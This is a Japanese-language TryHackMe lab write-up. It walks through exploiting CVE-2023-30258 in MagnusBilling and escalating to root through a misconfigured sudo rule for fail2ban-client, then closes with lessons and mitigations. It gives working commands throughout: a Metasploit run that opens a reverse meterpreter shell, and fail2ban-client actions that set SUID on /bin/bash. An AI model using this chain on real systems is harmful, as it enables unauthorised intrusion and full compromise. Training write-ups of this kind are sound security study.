
TryHackMeラボでCVE-2023-30258(MagnusBilling RCE)を悪用し、fail2banの設定ミスを利用して権限昇格するステップバイステップの解説。Web列挙、Metasploitエクスプロイト、Linux権限昇格を示す。
⸻
🛡️ MagnusBilling RCE → Root (CVE-2023-30258)
📌 概要 • ターゲット: 10.145.148.203 • プラットフォーム: TryHackMe • 脆弱性: CVE-2023-30258 • アクセス: 未認証のリモートコード実行 (RCE) • 権限昇格: fail2ban の設定ミス • 最終アクセス: Root
⸻
🔍 1. 偵察
ポートスキャン
rustscan -a 10.145.148.203
📊 開いているポート
ポート サービス
22 SSH
80 HTTP
3306 MySQL
5038 Asterisk

Asterisk の存在は VoIP/課金システムを示唆している。
⸻
🌐 2. Web 列挙
ディレクトリファジング
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c
📁 検出結果: • /archive • /assets • /lib • /tmp • /protected
/mbilling パスが潜在的な攻撃ベクトルとして特定された。

⸻
🚨 3. 脆弱性の特定
CVE-2023-30258
MagnusBilling は以下の脆弱性の影響を受ける: • 未認証のリモートコード実行 (RCE) • コマンドインジェクション • システム全体の侵害
⸻
💣 4. エクスプロイト (Metasploit)
msfconsole
search CVE:2023-30258
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.145.148.203
set LHOST tun0
set LPORT 4444
run

⸻
🎯 結果
meterpreter セッションが開かれた
sysinfo
OS: Linux Debian User: asterisk
⸻
🔐 5. 初期アクセス
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
asterisk
⸻
🏁 6. ユーザーフラグ
cd /home/magnus cat user.txt
⸻
🔎 7. 権限昇格
sudo の確認
sudo -l
(ALL) NOPASSWD: /usr/bin/fail2ban-client
重大な設定ミスを検出!
⸻
💣 8. Fail2Ban の悪用
悪意のあるアクションを追加
sudo fail2ban-client set mbilling_login addaction evil
sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"
sudo fail2ban-client set mbilling_login banip 127.0.0.1
⸻
🚀 9. Root アクセス
/bin/bash -p
id
euid=0(root)
最初に whoami は asterisk を返した。bash -p を使用することで root に昇格する。
⸻
👑 10. Root フラグ
cat /root/root.txt
⸻
🧠 11. 主な学び • CVE のエクスプロイトにより容易に初期アクセスを取得できた • Web 列挙が重要 (ffuf が /mbilling を特定) • sudo の設定ミスはシステム全体の侵害につながる可能性がある • fail2ban は権限昇格に悪用される可能性がある
⸻
🛡️ 12. 緩和策 • MagnusBilling を最新バージョンに更新する • sudo 設定から NOPASSWD を削除する • fail2ban-client へのアクセスを制限する • Web アプリケーションとエンドポイントを堅牢化する
⸻
💀 結論
このマシンは現実的な攻撃チェーンを示している:
Web RCE → Shell → 権限昇格 → Root
脆弱性と設定ミスの組み合わせがシステム全体の侵害につながった。